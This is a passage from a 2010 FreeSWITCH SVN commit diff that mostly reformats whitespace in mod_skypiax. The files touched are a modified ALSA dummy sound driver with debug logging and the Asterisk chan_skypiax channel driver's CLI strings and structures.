- //printk("giova, %s:%d, i=%d, giovaindex=%d %p!=%p NOT ME\n", __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime->private_data);
- }
-}
spin_unlock_bh(&giovalock);
kfree(runtime->private_data);
}
-static int snd_card_dummy_hw_params(struct snd_pcm_substream *substream,
- struct snd_pcm_hw_params *hw_params)
+static int snd_card_dummy_hw_params(struct snd_pcm_substream *substream, struct snd_pcm_hw_params *hw_params)
{
return snd_pcm_lib_malloc_pages(substream, params_buffer_bytes(hw_params));
}
@@ -450,13 +443,13 @@
{
struct snd_dummy_pcm *dpcm;
int i;
- int found=0;
+ int found = 0;
//printk("giova, %s:%d, i=%d, giovaindex=%d %p==%p YES I AM!!!!\n", __FILE__, __LINE__, i, giovaindex, giovadpcms[i].dpcm , runtime->private_data);
//printk("giova, %s:%d, giovaindex=%d\n", __FILE__, __LINE__, giovaindex);
dpcm = kzalloc(sizeof(*dpcm), GFP_KERNEL);
//printk("giova, %s:%d, giovaindex=%d\n", __FILE__, __LINE__, giovaindex);
- if (! dpcm){
+ if (!dpcm) {
//spin_unlock_bh(&giovalock);
printk("giova, %s:%d, giovaindex=%d NO MEMORY!!!!\n", __FILE__, __LINE__, giovaindex);
return dpcm;
@@ -470,49 +463,48 @@
spin_lock_bh(&giovalock);
//printk("giova 1 giovaindex=%d dpcm=%p substream=%p sizeof=%lu\n", giovaindex, dpcm, substream, sizeof(*dpcm));
- for(i=0; i < giovaindex; i++) {
+ for (i = 0; i < giovaindex; i++) {
- if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
- printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
- }
+ if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
+ printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
+ }
//if((giovadpcms[i].substream == substream) && (giovadpcms[i].dpcm == dpcm))
- if((giovadpcms[i].substream == substream)){
- found=1;
+ if ((giovadpcms[i].substream == substream)) {
+ found = 1;
break;
}
}
- if(!found){
+ if (!found) {
- giovadpcms[giovaindex].substream=substream;
+ giovadpcms[giovaindex].substream = substream;
giovaindex++;
//printk("giova 2 giovaindex=%d dpcm=%p substream=%p\n", giovaindex, dpcm, substream);
}
- found =0;
- for(i=0; i < giovaindex; i++) {
+ found = 0;
+ for (i = 0; i < giovaindex; i++) {
- if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
- printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
- }
- if(giovadpcms[i].substream == substream){
- giovadpcms[i].dpcm=dpcm;
- giovadpcms[i].started=0;
+ if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
+ printk("giova, %s:%d, i=%d, giovaindex=%d dpcm=%p\n", __FILE__, __LINE__, i, giovaindex, dpcm);
+ }
+ if (giovadpcms[i].substream == substream) {
+ giovadpcms[i].dpcm = dpcm;
+ giovadpcms[i].started = 0;
found = 1;
//printk("giova 3 giovaindex=%d dpcm=%p substream=%p\n", giovaindex, dpcm, substream);
break;
- }
+ }
}
spin_unlock_bh(&giovalock);
- if(!found) {
+ if (!found) {
printk("skypiax giovaindex=%d NOT found????\n", giovaindex);
}
-
//printk("giova, %s:%d, giovaindex=%d\n", __FILE__, __LINE__, giovaindex);
return dpcm;
}
@@ -535,7 +527,7 @@
runtime->hw.info |= SNDRV_PCM_INFO_NONINTERLEAVED;
}
if (substream->pcm->device & 2)
- runtime->hw.info &= ~(SNDRV_PCM_INFO_MMAP|SNDRV_PCM_INFO_MMAP_VALID);
+ runtime->hw.info &= ~(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_MMAP_VALID);
err = add_playback_constraints(runtime);
if (err < 0)
return err;
@@ -561,7 +553,7 @@
runtime->hw.info |= SNDRV_PCM_INFO_NONINTERLEAVED;
}
if (substream->pcm->device & 2)
- runtime->hw.info &= ~(SNDRV_PCM_INFO_MMAP|SNDRV_PCM_INFO_MMAP_VALID);
+ runtime->hw.info &= ~(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_MMAP_VALID);
err = add_capture_constraints(runtime);
if (err < 0)
return err;
@@ -584,35 +576,33 @@
}
static struct snd_pcm_ops snd_card_dummy_playback_ops = {
- .open = snd_card_dummy_playback_open,
- .close = snd_card_dummy_playback_close,
- .ioctl = snd_pcm_lib_ioctl,
- .hw_params = snd_card_dummy_hw_params,
- .hw_free = snd_card_dummy_hw_free,
- .prepare = snd_card_dummy_pcm_prepare,
- .trigger = snd_card_dummy_pcm_trigger,
- .pointer = snd_card_dummy_pcm_pointer,
+ .open = snd_card_dummy_playback_open,
+ .close = snd_card_dummy_playback_close,
+ .ioctl = snd_pcm_lib_ioctl,
+ .hw_params = snd_card_dummy_hw_params,
+ .hw_free = snd_card_dummy_hw_free,
+ .prepare = snd_card_dummy_pcm_prepare,
+ .trigger = snd_card_dummy_pcm_trigger,
+ .pointer = snd_card_dummy_pcm_pointer,
};
static struct snd_pcm_ops snd_card_dummy_capture_ops = {
- .open = snd_card_dummy_capture_open,
- .close = snd_card_dummy_capture_close,
- .ioctl = snd_pcm_lib_ioctl,
- .hw_params = snd_card_dummy_hw_params,
- .hw_free = snd_card_dummy_hw_free,
- .prepare = snd_card_dummy_pcm_prepare,
- .trigger = snd_card_dummy_pcm_trigger,
- .pointer = snd_card_dummy_pcm_pointer,
+ .open = snd_card_dummy_capture_open,
+ .close = snd_card_dummy_capture_close,
+ .ioctl = snd_pcm_lib_ioctl,
+ .hw_params = snd_card_dummy_hw_params,
+ .hw_free = snd_card_dummy_hw_free,
+ .prepare = snd_card_dummy_pcm_prepare,
+ .trigger = snd_card_dummy_pcm_trigger,
+ .pointer = snd_card_dummy_pcm_pointer,
};
-static int __devinit snd_card_dummy_pcm(struct snd_dummy *dummy, int device,
- int substreams)
+static int __devinit snd_card_dummy_pcm(struct snd_dummy *dummy, int device, int substreams)
{
struct snd_pcm *pcm;
int err;
- err = snd_pcm_new(dummy->card, "Dummy PCM", device,
- substreams, substreams, &pcm);
+ err = snd_pcm_new(dummy->card, "Dummy PCM", device, substreams, substreams, &pcm);
if (err < 0)
return err;
dummy->pcm = pcm;
@@ -621,9 +611,7 @@
pcm->private_data = dummy;
pcm->info_flags = 0;
strcpy(pcm->name, "Dummy PCM");
- snd_pcm_lib_preallocate_pages_for_all(pcm, SNDRV_DMA_TYPE_CONTINUOUS,
- snd_dma_continuous_data(GFP_KERNEL),
- 128*1024, 1024*1024);
+ snd_pcm_lib_preallocate_pages_for_all(pcm, SNDRV_DMA_TYPE_CONTINUOUS, snd_dma_continuous_data(GFP_KERNEL), 128 * 1024, 1024 * 1024);
return 0;
}
@@ -637,8 +625,7 @@
.private_value = addr, \
.tlv = { .p = db_scale_dummy } }
-static int snd_dummy_volume_info(struct snd_kcontrol *kcontrol,
- struct snd_ctl_elem_info *uinfo)
+static int snd_dummy_volume_info(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_info *uinfo)
{
uinfo->type = SNDRV_CTL_ELEM_TYPE_INTEGER;
uinfo->count = 2;
@@ -646,15 +633,14 @@
uinfo->value.integer.max = 100;
return 0;
}
-
-static int snd_dummy_volume_get(struct snd_kcontrol *kcontrol,
- struct snd_ctl_elem_value *ucontrol)
+
+static int snd_dummy_volume_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
{
struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
int addr = kcontrol->private_value;
//unsigned long flags;
- if(in_irq())
+ if (in_irq())
printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
//printk("giova: volume get %d %d\n", __LINE__, addr);
//spin_lock_irq(&dummy->mixer_lock);
@@ -667,15 +653,14 @@
return 0;
}
-static int snd_dummy_volume_put(struct snd_kcontrol *kcontrol,
- struct snd_ctl_elem_value *ucontrol)
+static int snd_dummy_volume_put(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
{
struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
int change, addr = kcontrol->private_value;
int left, right;
//unsigned long flags;
- if(in_irq())
+ if (in_irq())
printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
left = ucontrol->value.integer.value[0];
if (left < -50)
@@ -691,8 +676,7 @@
//spin_lock_irq(&dummy->mixer_lock);
//spin_lock_irqsave(&dummy->mixer_lock, flags);
spin_lock_bh(&dummy->mixer_lock);
- change = dummy->mixer_volume[addr][0] != left ||
- dummy->mixer_volume[addr][1] != right;
+ change = dummy->mixer_volume[addr][0] != left || dummy->mixer_volume[addr][1] != right;
dummy->mixer_volume[addr][0] = left;
dummy->mixer_volume[addr][1] = right;
//spin_unlock_irq(&dummy->mixer_lock);
@@ -710,15 +694,14 @@
.private_value = addr }
#define snd_dummy_capsrc_info snd_ctl_boolean_stereo_info
-
-static int snd_dummy_capsrc_get(struct snd_kcontrol *kcontrol,
- struct snd_ctl_elem_value *ucontrol)
+
+static int snd_dummy_capsrc_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
{
struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
int addr = kcontrol->private_value;
//unsigned long flags;
- if(in_irq())
+ if (in_irq())
printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
//spin_lock_irq(&dummy->mixer_lock);
//spin_lock_irqsave(&dummy->mixer_lock, flags);
@@ -739,15 +722,14 @@
int left, right;
//unsigned long flags;
- if(in_irq())
+ if (in_irq())
printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
left = ucontrol->value.integer.value[0] & 1;
right = ucontrol->value.integer.value[1] & 1;
//spin_lock_irq(&dummy->mixer_lock);
//spin_lock_irqsave(&dummy->mixer_lock, flags);
spin_lock_bh(&dummy->mixer_lock);
- change = dummy->capture_source[addr][0] != left &&
- dummy->capture_source[addr][1] != right;
+ change = dummy->capture_source[addr][0] != left && dummy->capture_source[addr][1] != right;
dummy->capture_source[addr][0] = left;
dummy->capture_source[addr][1] = right;
//spin_unlock_irq(&dummy->mixer_lock);
@@ -758,16 +740,16 @@
}
static struct snd_kcontrol_new snd_dummy_controls[] = {
-DUMMY_VOLUME("Master Volume", 0, MIXER_ADDR_MASTER),
-DUMMY_CAPSRC("Master Capture Switch", 0, MIXER_ADDR_MASTER),
-DUMMY_VOLUME("Synth Volume", 0, MIXER_ADDR_SYNTH),
-DUMMY_CAPSRC("Synth Capture Switch", 0, MIXER_ADDR_SYNTH),
-DUMMY_VOLUME("Line Volume", 0, MIXER_ADDR_LINE),
-DUMMY_CAPSRC("Line Capture Switch", 0, MIXER_ADDR_LINE),
-DUMMY_VOLUME("Mic Volume", 0, MIXER_ADDR_MIC),
-DUMMY_CAPSRC("Mic Capture Switch", 0, MIXER_ADDR_MIC),
-DUMMY_VOLUME("CD Volume", 0, MIXER_ADDR_CD),
-DUMMY_CAPSRC("CD Capture Switch", 0, MIXER_ADDR_CD)
+ DUMMY_VOLUME("Master Volume", 0, MIXER_ADDR_MASTER),
+ DUMMY_CAPSRC("Master Capture Switch", 0, MIXER_ADDR_MASTER),
+ DUMMY_VOLUME("Synth Volume", 0, MIXER_ADDR_SYNTH),
+ DUMMY_CAPSRC("Synth Capture Switch", 0, MIXER_ADDR_SYNTH),
+ DUMMY_VOLUME("Line Volume", 0, MIXER_ADDR_LINE),
+ DUMMY_CAPSRC("Line Capture Switch", 0, MIXER_ADDR_LINE),
+ DUMMY_VOLUME("Mic Volume", 0, MIXER_ADDR_MIC),
+ DUMMY_CAPSRC("Mic Capture Switch", 0, MIXER_ADDR_MIC),
+ DUMMY_VOLUME("CD Volume", 0, MIXER_ADDR_CD),
+ DUMMY_CAPSRC("CD Capture Switch", 0, MIXER_ADDR_CD)
};
static int __devinit snd_card_dummy_new_mixer(struct snd_dummy *dummy)
@@ -777,11 +759,11 @@
int err;
//giova if (snd_BUG_ON(!dummy))
- //giova return -EINVAL;
+ //giova return -EINVAL;
spin_lock_init(&dummy->mixer_lock);
strcpy(card->mixername, "Dummy Mixer");
//printk("giova: new_mixer %d\n", __LINE__);
- return 0; //giova no mixer
+ return 0; //giova no mixer
for (idx = 0; idx < ARRAY_SIZE(snd_dummy_controls); idx++) {
err = snd_ctl_add(card, snd_ctl_new1(&snd_dummy_controls[idx], dummy));
@@ -798,15 +780,14 @@
int idx, err;
int dev = devptr->id;
- card = snd_card_new(index[dev], id[dev], THIS_MODULE,
- sizeof(struct snd_dummy));
- if (card == NULL)
- return -ENOMEM;
+ card = snd_card_new(index[dev], id[dev], THIS_MODULE, sizeof(struct snd_dummy));
+ if (card == NULL)
+ return -ENOMEM;
//giova err = snd_card_create(index[dev], id[dev], THIS_MODULE,
- //giova sizeof(struct snd_dummy), &card);
+ //giova sizeof(struct snd_dummy), &card);
//giova if (err < 0)
- //giova return err;
+ //giova return err;
dummy = card->private_data;
dummy->card = card;
for (idx = 0; idx < MAX_PCM_DEVICES && idx < pcm_devs[dev]; idx++) {
@@ -832,7 +813,7 @@
platform_set_drvdata(devptr, card);
return 0;
}
- __nodev:
+ __nodev:
snd_card_free(card);
return err;
}
@@ -856,7 +837,7 @@
snd_pcm_suspend_all(dummy->pcm);
return 0;
}
-
+
static int snd_dummy_resume(struct platform_device *pdev)
{
struct snd_card *card = platform_get_drvdata(pdev);
@@ -869,15 +850,14 @@
#define SND_DUMMY_DRIVER "snd_dummy"
static struct platform_driver snd_dummy_driver = {
- .probe = snd_dummy_probe,
- .remove = __devexit_p(snd_dummy_remove),
+ .probe = snd_dummy_probe,
+ .remove = __devexit_p(snd_dummy_remove),
#ifdef CONFIG_PM
- .suspend = snd_dummy_suspend,
- .resume = snd_dummy_resume,
+ .suspend = snd_dummy_suspend,
+ .resume = snd_dummy_resume,
#endif
- .driver = {
- .name = SND_DUMMY_DRIVER
- },
+ .driver = {
+ .name = SND_DUMMY_DRIVER},
};
static void snd_dummy_unregister_all(void)
@@ -897,38 +877,37 @@
if (err < 0)
return err;
-if(!giovastarted){
-giovastarted=1;
- spin_lock_init(&giovalock);
+ if (!giovastarted) {
+ giovastarted = 1;
+ spin_lock_init(&giovalock);
- spin_lock_bh(&giovalock);
-for(i=0; i<MAX_PCM_SUBSTREAMS;i++){
+ spin_lock_bh(&giovalock);
+ for (i = 0; i < MAX_PCM_SUBSTREAMS; i++) {
- if(i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS){
- printk("giova, %s:%d, i=%d, giovaindex=%d \n", __FILE__, __LINE__, i, giovaindex);
+ if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
+ printk("giova, %s:%d, i=%d, giovaindex=%d \n", __FILE__, __LINE__, i, giovaindex);
+ }
+ giovadpcms[i].substream = NULL;
+ giovadpcms[i].dpcm = NULL;
+ giovadpcms[i].started = 0;
+ }
+ init_timer(&giovatimer);
+ //giovatimer.data = (unsigned long) dpcm;
+ giovatimer.data = (unsigned long) &giovadpcms;
+ giovatimer.function = snd_card_dummy_pcm_timer_function;
+ giovatimer.expires = (HZ / 100) + jiffies;
+ add_timer(&giovatimer);
+ printk("snd-dummy skypiax driver, %s:%d working on a machine with %dHZ kernel\n", __FILE__, __LINE__, HZ);
+ spin_unlock_bh(&giovalock);
}
-giovadpcms[i].substream=NULL;
-giovadpcms[i].dpcm=NULL;
-giovadpcms[i].started=0;
-}
- init_timer(&giovatimer);
- //giovatimer.data = (unsigned long) dpcm;
- giovatimer.data = (unsigned long) &giovadpcms;
- giovatimer.function = snd_card_dummy_pcm_timer_function;
- giovatimer.expires = (HZ/100) + jiffies;
- add_timer(&giovatimer);
-printk("snd-dummy skypiax driver, %s:%d working on a machine with %dHZ kernel\n", __FILE__, __LINE__, HZ);
- spin_unlock_bh(&giovalock);
-}
cards = 0;
for (i = 0; i < SNDRV_CARDS; i++) {
struct platform_device *device;
- if (! enable[i])
+ if (!enable[i])
continue;
- device = platform_device_register_simple(SND_DUMMY_DRIVER,
- i, NULL, 0);
+ device = platform_device_register_simple(SND_DUMMY_DRIVER, i, NULL, 0);
if (IS_ERR(device))
continue;
if (!platform_get_drvdata(device)) {
@@ -955,4 +934,4 @@
}
module_init(alsa_card_dummy_init)
-module_exit(alsa_card_dummy_exit)
+ module_exit(alsa_card_dummy_exit)
Modified: freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/chan_skypiax.c (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/chan_skypiax.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_skypiax/asterisk/chan_skypiax.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -12,7 +12,7 @@
/* GLOBAL VARIABLES */
int running = 1;
-int skypiax_dir_entry_extension = 1; //FIXME one var for each interface!
+int skypiax_dir_entry_extension = 1; //FIXME one var for each interface!
char skypiax_console_active_array[50] = "";
char *skypiax_console_active = skypiax_console_active_array;
/*! \brief Count of active channels for this module */
@@ -32,97 +32,93 @@
const char skypiax_config[] = "skypiax.conf";
char skypiax_console_skypiax_usage[] =
- " \n" "chan_skypiax commands info\n" " \n"
- " chan_skypiax adds to Asterisk the following CLI commands:\n" " \n"
- " CLI COMMANDS:\n" " skypiax_hangup\n" " skypiax_dial\n"
- " skypiax_console\n" " skypiax_playback_boost\n"
- " skypiax_capture_boost\n" " skypiax_skype\n"
- " skypiax_dir_import\n" "\n"
- " You can type 'help [command]' to obtain more specific info on usage.\n"
- " \n";
+ " \n" "chan_skypiax commands info\n" " \n"
+ " chan_skypiax adds to Asterisk the following CLI commands:\n" " \n"
+ " CLI COMMANDS:\n" " skypiax_hangup\n" " skypiax_dial\n"
+ " skypiax_console\n" " skypiax_playback_boost\n"
+ " skypiax_capture_boost\n" " skypiax_skype\n"
+ " skypiax_dir_import\n" "\n" " You can type 'help [command]' to obtain more specific info on usage.\n" " \n";
char skypiax_console_hangup_usage[] =
- "Usage: skypiax_hangup\n"
- " Hangs up any call currently placed on the \"current\" skypiax_console (Skypiax) channel.\n"
- " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
+ "Usage: skypiax_hangup\n"
+ " Hangs up any call currently placed on the \"current\" skypiax_console (Skypiax) channel.\n"
+ " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
char skypiax_console_playback_boost_usage[] =
- "Usage: skypiax_playback_boost [value]\n"
- " Shows or set the value of boost applied to the outgoing sound (voice). Possible values are: 0 (no boost applied), -40 to 40 (negative to positive range, in db). Without specifying a value, it just shows the current value. The value is for the \"current\" skypiax_console (Skypiax) channel.\n"
- " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
+ "Usage: skypiax_playback_boost [value]\n"
+ " Shows or set the value of boost applied to the outgoing sound (voice). Possible values are: 0 (no boost applied), -40 to 40 (negative to positive range, in db). Without specifying a value, it just shows the current value. The value is for the \"current\" skypiax_console (Skypiax) channel.\n"
+ " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
char skypiax_console_capture_boost_usage[] =
- "Usage: skypiax_capture_boost [value]\n"
- " Shows or set the value of boost applied to the incoming sound (voice). Possible values are: 0 (no boost applied), -40 to 40 (negative to positive range, in db). Without specifying a value, it just shows the current value. The value is for the \"current\" skypiax_console (Skypiax) channel.\n"
- " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
+ "Usage: skypiax_capture_boost [value]\n"
+ " Shows or set the value of boost applied to the incoming sound (voice). Possible values are: 0 (no boost applied), -40 to 40 (negative to positive range, in db). Without specifying a value, it just shows the current value. The value is for the \"current\" skypiax_console (Skypiax) channel.\n"
+ " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
char skypiax_console_dial_usage[] =
- "Usage: skypiax_dial [DTMFs]\n"
- " Dials a given DTMF string in the call currently placed on the\n"
- " \"current\" skypiax_console (Skypiax) channel.\n"
- " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
+ "Usage: skypiax_dial [DTMFs]\n"
+ " Dials a given DTMF string in the call currently placed on the\n"
+ " \"current\" skypiax_console (Skypiax) channel.\n" " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
char skypiax_console_skypiax_console_usage[] =
- "Usage: skypiax_console [interface] | [show]\n"
- " If used without a parameter, displays which interface is the \"current\"\n"
- " skypiax_console. If a device is specified, the \"current\" skypiax_console is changed to\n"
- " the interface specified.\n"
- " If the parameter is \"show\", the available interfaces are listed\n";
+ "Usage: skypiax_console [interface] | [show]\n"
+ " If used without a parameter, displays which interface is the \"current\"\n"
+ " skypiax_console. If a device is specified, the \"current\" skypiax_console is changed to\n"
+ " the interface specified.\n" " If the parameter is \"show\", the available interfaces are listed\n";
char skypiax_console_skype_usage[] =
- "Usage: skypiax_skype [command string]\n"
- " Send the 'command string' skype_msg to the Skype client connected to the \"current\" skypiax_console (Skypiax) channel.\n"
- " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
+ "Usage: skypiax_skype [command string]\n"
+ " Send the 'command string' skype_msg to the Skype client connected to the \"current\" skypiax_console (Skypiax) channel.\n"
+ " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
char skypiax_console_skypiax_dir_import_usage[] =
- "Usage: skypiax_dir_import [add | replace]\n"
- " Write in the directoriax.conf config file all the entries found in 'Contacts' list of the Skype client connected to the \"current\" skypiax_console.\n"
- " You can choose between 'add' to the end of the directoriax.conf file, or 'replace' the whole file with this new content.\n"
- " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
+ "Usage: skypiax_dir_import [add | replace]\n"
+ " Write in the directoriax.conf config file all the entries found in 'Contacts' list of the Skype client connected to the \"current\" skypiax_console.\n"
+ " You can choose between 'add' to the end of the directoriax.conf file, or 'replace' the whole file with this new content.\n"
+ " Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
/*! \brief Definition of this channel for PBX channel registration */
const struct ast_channel_tech skypiax_tech = {
- .type = skypiax_type,
- .description = skypiax_desc,
- .capabilities = AST_FORMAT_SLINEAR,
- .requester = skypiax_request,
- .hangup = skypiax_hangup,
- .answer = skypiax_answer,
- .read = skypiax_read,
- .call = skypiax_originate_call,
- .write = skypiax_write,
- .indicate = skypiax_indicate,
- .fixup = skypiax_fixup,
- .devicestate = skypiax_devicestate,
+ .type = skypiax_type,
+ .description = skypiax_desc,
+ .capabilities = AST_FORMAT_SLINEAR,
+ .requester = skypiax_request,
+ .hangup = skypiax_hangup,
+ .answer = skypiax_answer,
+ .read = skypiax_read,
+ .call = skypiax_originate_call,
+ .write = skypiax_write,
+ .indicate = skypiax_indicate,
+ .fixup = skypiax_fixup,
+ .devicestate = skypiax_devicestate,
#ifdef ASTERISK_VERSION_1_4
- .send_digit_begin = skypiax_digitsend_begin,
- .send_digit_end = skypiax_digitsend_end,
+ .send_digit_begin = skypiax_digitsend_begin,
+ .send_digit_end = skypiax_digitsend_end,
#else /* ASTERISK_VERSION_1_4 */
- .send_digit = skypiax_digitsend,
+ .send_digit = skypiax_digitsend,
#endif /* ASTERISK_VERSION_1_4 */
};
/*! \brief fake skypiax_pvt structure values,
* just for logging purposes */
struct skypiax_pvt skypiax_log_struct = {
- .name = "none",
+ .name = "none",
};
/*! \brief Default skypiax_pvt structure values,
* used by skypiax_mkif to initialize the interfaces */
struct skypiax_pvt skypiax_default = {
- .interface_state = SKYPIAX_STATE_DOWN,
- .skype_callflow = 0,
- .context = "default",
- .language = "en",
- .exten = "s",
- .next = NULL,
- .owner = NULL,
- .controldev_thread = AST_PTHREADT_NULL,
- .skypiax_sound_rate = 8000,
- .skypiax_sound_capt_fd = -1,
- .capture_boost = 0,
- .playback_boost = 0,
- .stripmsd = 0,
- .skype = 0,
- .skypiax_dir_entry_extension_prefix = 6,
+ .interface_state = SKYPIAX_STATE_DOWN,
+ .skype_callflow = 0,
+ .context = "default",
+ .language = "en",
+ .exten = "s",
+ .next = NULL,
+ .owner = NULL,
+ .controldev_thread = AST_PTHREADT_NULL,
+ .skypiax_sound_rate = 8000,
+ .skypiax_sound_capt_fd = -1,
+ .capture_boost = 0,
+ .playback_boost = 0,
+ .stripmsd = 0,
+ .skype = 0,
+ .skypiax_dir_entry_extension_prefix = 6,
};
/*!
@@ -136,38 +132,38 @@
* CLI do not works since some time on 1.6, they changed the CLI mechanism
*/
#if 0
- AST_CLI_DEFINE(skypiax_console_hangup, "Hangup a call on the console"),
- AST_CLI_DEFINE(skypiax_console_dial, "Dial an extension on the console"),
- AST_CLI_DEFINE(skypiax_console_playback_boost, "Sets/displays spk boost in dB"),
- AST_CLI_DEFINE(skypiax_console_capture_boost, "Sets/displays mic boost in dB"),
- AST_CLI_DEFINE(skypiax_console_set_active, "Sets/displays active console"),
- AST_CLI_DEFINE(skypiax_console_skype, "Sends a Skype command"),
- AST_CLI_DEFINE(skypiax_console_skypiax_dir_import, "imports entries from cellphone"),
- AST_CLI_DEFINE(skypiax_console_skypiax, "all things skypiax"),
+ AST_CLI_DEFINE(skypiax_console_hangup, "Hangup a call on the console"),
+ AST_CLI_DEFINE(skypiax_console_dial, "Dial an extension on the console"),
+ AST_CLI_DEFINE(skypiax_console_playback_boost, "Sets/displays spk boost in dB"),
+ AST_CLI_DEFINE(skypiax_console_capture_boost, "Sets/displays mic boost in dB"),
+ AST_CLI_DEFINE(skypiax_console_set_active, "Sets/displays active console"),
+ AST_CLI_DEFINE(skypiax_console_skype, "Sends a Skype command"),
+ AST_CLI_DEFINE(skypiax_console_skypiax_dir_import, "imports entries from cellphone"),
+ AST_CLI_DEFINE(skypiax_console_skypiax, "all things skypiax"),
#endif
};
#else
struct ast_cli_entry myclis[] = {
- {{"skypiax_hangup", NULL}, skypiax_console_hangup,
- "Hangup a call on the skypiax_console",
- skypiax_console_hangup_usage},
- {{"skypiax_playback_boost", NULL}, skypiax_console_playback_boost, "playback boost",
- skypiax_console_playback_boost_usage},
- {{"skypiax_capture_boost", NULL}, skypiax_console_capture_boost, "capture boost",
- skypiax_console_capture_boost_usage},
- {{"skypiax_usage", NULL}, skypiax_console_skypiax, "chan_skypiax commands info",
- skypiax_console_skypiax_usage},
- {{"skypiax_skype", NULL}, skypiax_console_skype, "Skype msg",
- skypiax_console_skype_usage},
- {{"skypiax_dial", NULL}, skypiax_console_dial,
- "Dial an extension on the skypiax_console",
- skypiax_console_dial_usage},
- {{"skypiax_console", NULL}, skypiax_console_set_active,
- "Sets/displays active skypiax_console",
- skypiax_console_skypiax_console_usage},
- {{"skypiax_dir_import", NULL}, skypiax_console_skypiax_dir_import,
- "Write the directoriax.conf file, used by directoriax app",
- skypiax_console_skypiax_dir_import_usage},
+ {{"skypiax_hangup", NULL}, skypiax_console_hangup,
+ "Hangup a call on the skypiax_console",
+ skypiax_console_hangup_usage},
+ {{"skypiax_playback_boost", NULL}, skypiax_console_playback_boost, "playback boost",
+ skypiax_console_playback_boost_usage},
+ {{"skypiax_capture_boost", NULL}, skypiax_console_capture_boost, "capture boost",
+ skypiax_console_capture_boost_usage},
+ {{"skypiax_usage", NULL}, skypiax_console_skypiax, "chan_skypiax commands info",
+ skypiax_console_skypiax_usage},
+ {{"skypiax_skype", NULL}, skypiax_console_skype, "Skype msg",
+ skypiax_console_skype_usage},
+ {{"skypiax_dial", NULL}, skypiax_console_dial,
+ "Dial an extension on the skypiax_console",
+ skypiax_console_dial_usage},
+ {{"skypiax_console", NULL}, skypiax_console_set_active,
+ "Sets/displays active skypiax_console",
+ skypiax_console_skypiax_console_usage},
+ {{"skypiax_dir_import", NULL}, skypiax_console_skypiax_dir_import,
+ "Write the directoriax.conf file, used by directoriax app",
+ skypiax_console_skypiax_dir_import_usage},
};
#endif
@@ -175,88 +171,83 @@
void skypiax_unlocka_log(void *x)
{
- ast_mutex_t *y;
- y = x;
- int i;
+ ast_mutex_t *y;
+ y = x;
+ int i;
- for (i = 0; i < 5; i++) { //let's be generous
+ for (i = 0; i < 5; i++) { //let's be generous
- ast_log(LOG_DEBUG,
- SKYPIAX_SVN_VERSION
- "[%-7lx] I'm a dying thread, and I'm to go unlocking mutex %p for the %dth time\n",
- (unsigned long int) pthread_self(), y, i);
+ ast_log(LOG_DEBUG,
+ SKYPIAX_SVN_VERSION
+ "[%-7lx] I'm a dying thread, and I'm to go unlocking mutex %p for the %dth time\n", (unsigned long int) pthread_self(), y, i);
- ast_mutex_unlock(y);
- }
- ast_log(LOG_DEBUG,
- SKYPIAX_SVN_VERSION
- "[%-7lx] I'm a dying thread, I've finished unlocking mutex %p\n",
- (unsigned long int) pthread_self(), y);
+ ast_mutex_unlock(y);
+ }
+ ast_log(LOG_DEBUG, SKYPIAX_SVN_VERSION "[%-7lx] I'm a dying thread, I've finished unlocking mutex %p\n", (unsigned long int) pthread_self(), y);
}
int skypiax_queue_control(struct ast_channel *c, int control)
{
- struct skypiax_pvt *p = c->tech_pvt;
+ struct skypiax_pvt *p = c->tech_pvt;
/* queue the frame */
- if (p)
- p->control_to_send = control;
- else {
- return 0;
- }
- DEBUGA_PBX("Queued CONTROL FRAME %d\n", SKYPIAX_P_LOG, control);
+ if (p)
+ p->control_to_send = control;
+ else {
+ return 0;
+ }
+ DEBUGA_PBX("Queued CONTROL FRAME %d\n", SKYPIAX_P_LOG, control);
/* wait for the frame to be sent */
- while (p->control_to_send)
- usleep(1);
+ while (p->control_to_send)
+ usleep(1);
- return 0;
+ return 0;
}
int skypiax_devicestate(void *data)
{
